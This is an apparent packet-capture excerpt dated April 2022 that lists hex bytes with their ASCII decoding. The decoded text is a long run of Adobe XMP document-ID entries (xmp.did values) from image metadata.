2022-04-08 08:02:42 UTC2959INData Raw: 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 32 46 43 42 36 34 38 32 35 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 39 34 35 31 33 33 36 34 36 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 30 31 46 45 37 44 37 35 42 43 34 32 42 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 30 32 41 44 33 46 42 37 38 45 46 44 44 46 39
Data Ascii: 72068118F62EE64CEC33CEF</rdf:li> <rdf:li>xmp.did:01801174072068118F62F2FCB6482589</rdf:li> <rdf:li>xmp.did:01801174072068118F62F94513364662</rdf:li> <rdf:li>xmp.did:0180117407206811901FE7D75BC42B61</rdf:li> <rdf:li>xmp.did:0180117407206811902AD3FB78EFDDF9
2022-04-08 08:02:42 UTC2975INData Raw: 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 41 36 34 45 38 41 44 44 41 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 45 46 43 32 32 32 36 38 46 32 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 46 37 36 41 34 38 42 45 35 34 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 39 34 39 44 42 46 46 32 30 45 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 41 46 36 36
Data Ascii: 4801174072068118083DA64E8ADDAE9</rdf:li> <rdf:li>xmp.did:04801174072068118083EFC22268F23E</rdf:li> <rdf:li>xmp.did:04801174072068118083F76A48BE54AC</rdf:li> <rdf:li>xmp.did:0480117407206811822A949DBFF20E03</rdf:li> <rdf:li>xmp.did:0480117407206811822AAF66
2022-04-08 08:02:42 UTC2991INData Raw: 39 42 32 37 36 38 31 31 39 35 46 45 41 32 35 42 42 30 46 43 43 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 36 34 45 41 36 46 36 30 41 35 45 31 31 31 41 30 39 31 41 30 36 32 30 41 36 46 42 39 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 32 45 31 35 31 38 31 41 36 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 44 37 43 36 34 31 46 37 38 35
Data Ascii: 9B27681195FEA25BB0FCC8E8</rdf:li> <rdf:li>xmp.did:0964EA6F60A5E111A091A0620A6FB99C</rdf:li> <rdf:li>xmp.did:0980117407206811808382E15181A61F</rdf:li> <rdf:li>xmp.did:098011740720681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:098011740720681180838D7C641F785
2022-04-08 08:02:42 UTC2999INData Raw: 63 66 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 62 64 65 37 61 35 35 2d 34 38 35 31 2d 34 35 64 63 2d 39 31 33 38 2d 34 34 37 30 37 62 34 38 61 34 64 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 62 65 61 61 64 62 31 2d 64 61 31 33 2d 34 31 37 38 2d 62 30 32 39 2d 65 30 31 36 64 30 31 38 38 66 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 63 30 36 33 64 63 32 2d 31 66 31 32 2d 34 61 33 31 2d 38 38 38 64 2d 66 30 32 35 63 36 63 64 64 39 64 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 63 31 64 64 61 33 65 2d 39 35 63 39 2d 63 34 34 63 2d 61 66 33 30 2d 36 30 35 30 63 34 61 66 63 62 31 34 3c 2f 72
Data Ascii: cf61</rdf:li> <rdf:li>xmp.did:0bde7a55-4851-45dc-9138-44707b48a4da</rdf:li> <rdf:li>xmp.did:0beaadb1-da13-4178-b029-e016d0188f7a</rdf:li> <rdf:li>xmp.did:0c063dc2-1f12-4a31-888d-f025c6cdd9db</rdf:li> <rdf:li>xmp.did:0c1dda3e-95c9-c44c-af30-6050c4afcb14</r
2022-04-08 08:02:42 UTC3015INData Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 63 66 32 32 34 38 37 2d 33 65 33 64 2d 34 62 39 32 2d 38 62 66 62 2d 66 37 65 61 39 36 39 33 32 65 65 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 64 38 65 30 66 35 31 2d 65 35 31 64 2d 38 37 34 39 2d 38 35 62 34 2d 35 33 34 64 66 34 37 31 64 39 31 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 64 63 33 65 61 38 37 2d 64 35 65 62 2d 34 61 34 30 2d 62 37 36 31 2d 34 35 39 33 36 33 36 66 34 37 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 64 65 39 66 31 35 36 2d 37 38 36 32 2d 33 33 34 62 2d 38 34 35 38 2d 38 32 31 31 62 62 61 61 64 32 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70
Data Ascii: :li>xmp.did:1cf22487-3e3d-4b92-8bfb-f7ea96932eeb</rdf:li> <rdf:li>xmp.did:1d8e0f51-e51d-8749-85b4-534df471d91d</rdf:li> <rdf:li>xmp.did:1dc3ea87-d5eb-4a40-b761-4593636f4740</rdf:li> <rdf:li>xmp.did:1de9f156-7862-334b-8458-8211bbaad267</rdf:li> <rdf:li>xmp
2022-04-08 08:02:43 UTC4472INData Raw: 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 61 31 39 32 33 36 34 2d 38 33 32 36 2d 64 64 34 61 2d 61 64 64 31 2d 39 64 34 62 39 31 33 37 64 62 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 61 35 65 66 37 61 65 2d 66 38 37 62 2d 34 38 34 65 2d 38 62 38 31 2d 63 39 62 38 36 64 30 34 61 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 61 38 65 66 65 30 37 2d 65 36 66 33 2d 33 65 34 62 2d 61 61 35 38 2d 30 64 33 36 34 35 31 37 65 64 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 61 61 33 37 30 31 34 2d 38 31 65 66 2d 65 37 34 36 2d 62 37 33 64 2d 36 64 33 37 61 66 61 64 34 37 36 61 3c
Data Ascii: BD98C8</rdf:li> <rdf:li>xmp.did:2a192364-8326-dd4a-add1-9d4b9137db72</rdf:li> <rdf:li>xmp.did:2a5ef7ae-f87b-484e-8b81-c9b86d04acdf</rdf:li> <rdf:li>xmp.did:2a8efe07-e6f3-3e4b-aa58-0d364517ede8</rdf:li> <rdf:li>xmp.did:2aa37014-81ef-e746-b73d-6d37afad476a<
2022-04-08 08:02:43 UTC4480INData Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 34 39 62 39 38 34 2d 39 38 35 32 2d 34 35 39 62 2d 39 64 36 38 2d 38 61 38 35 39 37 61 65 31 35 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 35 34 33 44 35 33 33 37 32 30 36 38 31 31 38 33 44 31 42 35 32 46 39 35 36 32 43 46 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 36 30 30 62 37 35 2d 37 65 31 36 2d 34 38 32 66 2d 39 35 38 32 2d 63 66 33 64 61 61 33 35 62 35 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 36 34 63 63 35 33 2d 66 66 65 36 2d 34 35 34 31 2d 61 35 39 63 2d 35 39 36 66 34 66 30 62 35 37 31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a
Data Ascii: f:li> <rdf:li>xmp.did:3549b984-9852-459b-9d68-8a8597ae1577</rdf:li> <rdf:li>xmp.did:35543D533720681183D1B52F9562CF1A</rdf:li> <rdf:li>xmp.did:35600b75-7e16-482f-9582-cf3daa35b56c</rdf:li> <rdf:li>xmp.did:3564cc53-ffe6-4541-a59c-596f4f0b571a</rdf:li> <rdf:
2022-04-08 08:02:43 UTC4496INData Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 39 31 31 32 45 42 37 44 32 31 36 38 31 31 38 44 42 42 44 35 38 42 45 31 36 45 39 35 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 45 30 43 37 45 41 37 37 32 30 36 38 31 31 38 32 32 41 39 35 36 38 31 41 44 34 43 34 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 45 32 35 30 31 31 34 30 43 38 45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 33 46 37 34 45 30 38 31 44 32 30 36 38 31 31 41 34 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69
Data Ascii: /rdf:li> <rdf:li>xmp.did:439112EB7D2168118DBBD58BE16E9552</rdf:li> <rdf:li>xmp.did:43E0C7EA77206811822A95681AD4C455</rdf:li> <rdf:li>xmp.did:43E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:43F74E081D206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.di
2022-04-08 08:02:43 UTC4512INData Raw: 45 34 46 35 44 44 46 31 31 41 46 44 45 45 45 42 36 45 33 43 39 35 37 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 32 65 62 37 30 31 39 2d 34 64 64 39 2d 37 31 34 30 2d 61 65 39 35 2d 62 39 63 34 38 37 64 39 65 62 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 31 45 37 43 32 31 46 33 45 30 44 46 31 31 39 35 38 33 44 31 34 39 39 41 33 36 38 36 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 34 34 37 33 61 35 2d 35 61 37 30 2d 37 33 34 38 2d 62 30 65 34 2d 33 37 33 35 37 64 32 66 38 36 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 33 36 33 39 44 36 30 44 38 33 33 45 32 31 31 39 45 39 36 45 44
Data Ascii: E4F5DDF11AFDEEEB6E3C95755</rdf:li> <rdf:li>xmp.did:52eb7019-4dd9-7140-ae95-b9c487d9ebc2</rdf:li> <rdf:li>xmp.did:531E7C21F3E0DF119583D1499A3686FD</rdf:li> <rdf:li>xmp.did:534473a5-5a70-7348-b0e4-37357d2f8605</rdf:li> <rdf:li>xmp.did:53639D60D833E2119E96ED
2022-04-08 08:02:43 UTC4520INData Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 37 36 31 32 44 44 43 38 31 45 45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 37 43 38 44 39 38 31 32 32 30 36 38 31 31 38 38 43 36 42 41 33 36 38 31 45 46 45 44 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 39 35 42 38 41 35 37 44 32 30 36 38 31 31 39 32 42 30 44 30 41 37 35 38 31 35 46 38 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 39 41 36 36 35 45 43 33 38 36 31 31 45 35 39 30 39 35 38 30 39 46 34 37 42 34 34 30 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 42 41 34 37 34 44 41 31 37
Data Ascii: f:li>xmp.did:5B7612DDC81EE211BC39DB9AA39BF7B0</rdf:li> <rdf:li>xmp.did:5B7C8D981220681188C6BA3681EFED35</rdf:li> <rdf:li>xmp.did:5B95B8A57D20681192B0D0A75815F8A6</rdf:li> <rdf:li>xmp.did:5B9A665EC38611E59095809F47B440A2</rdf:li> <rdf:li>xmp.did:5BA474DA17
2022-04-08 08:02:43 UTC4528INData Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 43 31 33 44 37 34 43 33 32 30 36 38 31 31 42 45 33 33 45 44 33 44 43 44 31 32 32 39 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 46 35 35 44 39 46 31 35 30 46 45 30 31 31 41 38 46 43 39 37 43 37 46 38 42 44 31 39 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 46 44 30 34 32 41 46 41 32 31 36 38 31 31 39 32 37 37 39 35 38 43 42 34 32 45 43 43 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 62 34 33 39 34 66 2d 39 36 31 34 2d 66 66 34 31 2d 61 32 32 35 2d 30 34 39 61 35 35 35 61 30 33 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 62 63
Data Ascii: rdf:li>xmp.did:62C13D74C3206811BE33ED3DCD122986</rdf:li> <rdf:li>xmp.did:62F55D9F150FE011A8FC97C7F8BD1909</rdf:li> <rdf:li>xmp.did:62FD042AFA2168119277958CB42ECC64</rdf:li> <rdf:li>xmp.did:62b4394f-9614-ff41-a225-049a555a0393</rdf:li> <rdf:li>xmp.did:62bc
2022-04-08 08:02:43 UTC4544INData Raw: 46 31 38 42 46 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 32 35 44 35 41 33 46 42 44 36 45 32 31 31 39 38 35 31 43 35 35 44 35 33 34 44 42 39 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 33 37 36 63 30 37 2d 62 33 63 38 2d 34 37 37 30 2d 38 38 36 30 2d 30 65 63 34 34 34 62 34 37 34 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 34 46 36 43 30 42 45 32 32 30 36 38 31 31 38 38 43 36 41 38 34 31 45 42 33 39 31 37 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 31 34 62 35 36 62 61 2d 36 66 64 35 2d 37 34 34 32 2d 62 34 36 65 2d 30 31 33 62 35 30 61 33 31 63 36 33 3c 2f 72 64 66 3a 6c 69
Data Ascii: F18BF1D</rdf:li> <rdf:li>xmp.did:7125D5A3FBD6E2119851C55D534DB94A</rdf:li> <rdf:li>xmp.did:71376c07-b3c8-4770-8860-0ec444b474c2</rdf:li> <rdf:li>xmp.did:714F6C0BE220681188C6A841EB3917E3</rdf:li> <rdf:li>xmp.did:714b56ba-6fd5-7442-b46e-013b50a31c63</rdf:li
2022-04-08 08:02:43 UTC4560INData Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 41 31 31 41 33 32 32 42 32 30 36 38 31 31 39 31 30 39 44 30 32 42 35 46 42 46 31 44 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 42 38 33 45 45 33 34 42 32 30 36 38 31 31 39 35 46 45 45 36 33 31 37 42 35 44 41 41 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 42 42 43 36 36 33 44 44 30 34 44 46 31 31 39 46 34 33 41 42 35 46 33 35 45 37 39 30 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 42 44 43 45 44 41 35 32 32 30 36 38 31 31 38 45 42 37 41 33 39 38 38 32 35 38 39 33 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 31 43 34 37 34 31 39 44
Data Ascii: df:li>xmp.did:81A11A322B2068119109D02B5FBF1DD6</rdf:li> <rdf:li>xmp.did:81B83EE34B20681195FEE6317B5DAABD</rdf:li> <rdf:li>xmp.did:81BBC663DD04DF119F43AB5F35E79051</rdf:li> <rdf:li>xmp.did:81BDCEDA522068118EB7A39882589353</rdf:li> <rdf:li>xmp.did:81C47419D
2022-04-08 08:02:43 UTC4567INData Raw: 69 3e 78 6d 70 2e 64 69 64 3a 38 38 33 44 36 39 45 30 31 41 32 30 36 38 31 31 38 32 32 41 43 30 33 41 31 31 41 43 37 31 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 33 46 39 30 35 38 30 38 32 30 36 38 31 31 38 44 42 42 43 39 35 31 43 32 42 30 33 31 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 34 35 37 65 66 34 2d 39 66 64 35 2d 36 35 34 61 2d 62 33 36 30 2d 61 62 66 62 37 66 63 66 62 34 33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 35 30 35 35 32 32 30 44 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 35 39 35 35 36 30 34
Data Ascii: i>xmp.did:883D69E01A206811822AC03A11AC71BC</rdf:li> <rdf:li>xmp.did:883F9058082068118DBBC951C2B0319E</rdf:li> <rdf:li>xmp.did:88457ef4-9fd5-654a-b360-abfb7fcfb43c</rdf:li> <rdf:li>xmp.did:885055220D206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:885955604
2022-04-08 08:02:43 UTC4583INData Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 45 35 43 36 32 43 32 34 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 45 39 44 37 44 32 31 33 32 30 36 38 31 31 38 30 38 33 45 44 43 46 30 37 45 34 31 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 62 32 34 65 35 39 2d 64 35 33 39 2d 63 31 34 38 2d 62 62 34 38 2d 65 32 31 64 34 62 36 66 31 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 62 37 37 32 61 34 2d 61 66 39 33 2d 34 61 31 63 2d 61 38 63 31 2d 64 34 39 32 37 32 30 30 65 38 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70
Data Ascii: li> <rdf:li>xmp.did:95E5C62C242068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:95E9D7D2132068118083EDCF07E41711</rdf:li> <rdf:li>xmp.did:95b24e59-d539-c148-bb48-e21d4b6f1414</rdf:li> <rdf:li>xmp.did:95b772a4-af93-4a1c-a8c1-d4927200e87b</rdf:li> <rdf:li>xmp
2022-04-08 08:02:43 UTC4599INData Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 37 45 31 42 44 34 31 45 34 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 37 45 32 30 32 43 43 44 31 32 31 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 37 45 46 42 38 44 39 42 32 32 31 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64
Data Ascii: </rdf:li> <rdf:li>xmp.did:A7E1BD41E4206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:A7E202CCD1216811AB08EACFC69DF9C8</rdf:li> <rdf:li>xmp.did:A7EFB8D9B22168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:A807E0CBFD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.d
2022-04-08 08:02:43 UTC4607INData Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 34 42 35 39 31 41 30 42 36 32 34 36 38 31 31 39 39 34 43 39 43 32 36 34 30 41 41 46 36 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 34 42 42 33 34 33 33 42 44 32 30 36 38 31 31 38 46 36 32 39 44 45 37 37 36 30 32 38 45 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 34 42 45 32 37 32 33 39 44 32 31 36 38 31 31 41 39 36 31 39 44 42 31 33 39 36 42 31 43 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 34 43 34 38 45 45 41 36 30 32 43 36 38 31 31 38 41 36 44 45 30 42 34 33 44 34 35 35 46 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 34 46
Data Ascii: li> <rdf:li>xmp.did:B4B591A0B6246811994C9C2640AAF6F1</rdf:li> <rdf:li>xmp.did:B4BB3433BD2068118F629DE776028E4D</rdf:li> <rdf:li>xmp.did:B4BE27239D216811A9619DB1396B1CBC</rdf:li> <rdf:li>xmp.did:B4C48EEA602C68118A6DE0B43D455FB9</rdf:li> <rdf:li>xmp.did:B4F
2022-04-08 08:02:43 UTC4623INData Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 44 36 44 30 45 32 44 33 32 30 36 38 31 31 41 46 46 44 46 37 30 36 45 37 34 32 36 31 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 46 37 37 30 45 37 32 32 32 30 36 38 31 31 39 37 41 35 46 43 37 42 34 41 33 32 36 34 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 43 46 39 30 36 38 35 31 33 32 30 36 38 31 31 38 43 31 34 43 44 31 31 34 32 30 30 31 44 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 30 32 37 36 37 39 39 34 46 44 44 46 31 31 39 39 31 45 42 38 45 43 43 36 31 42 43 33 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 44 30 42 30 34 44 43 30 39
Data Ascii: f:li>xmp.did:CCD6D0E2D3206811AFFDF706E742610A</rdf:li> <rdf:li>xmp.did:CCF770E72220681197A5FC7B4A3264B5</rdf:li> <rdf:li>xmp.did:CCF90685132068118C14CD1142001D34</rdf:li> <rdf:li>xmp.did:CD02767994FDDF11991EB8ECC61BC37C</rdf:li> <rdf:li>xmp.did:CD0B04DC09
2022-04-08 08:02:43 UTC4639INData Raw: 31 41 43 30 33 46 43 32 43 35 38 45 33 34 31 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 30 36 36 44 41 43 42 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 30 41 30 46 37 30 39 35 36 36 31 45 31 31 31 41 37 38 43 39 33 45 46 36 46 46 41 35 35 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 30 41 35 31 37 31 35 31 37 32 34 36 38 31 31 41 43 41 46 42 46 45 45 41 36 46 39 30 31 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 30 42 42 43 37 37 33 46 41 35 35 31 31 44 46 38 32 35 43 46 43 32 42 35 38 39 31 44 30 31 36 3c 2f 72 64 66 3a
Data Ascii: 1AC03FC2C58E341D1</rdf:li> <rdf:li>xmp.did:E066DACB0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:E0A0F7095661E111A78C93EF6FFA55C3</rdf:li> <rdf:li>xmp.did:E0A5171517246811ACAFBFEEA6F90131</rdf:li> <rdf:li>xmp.did:E0BBC773FA5511DF825CFC2B5891D016</rdf:
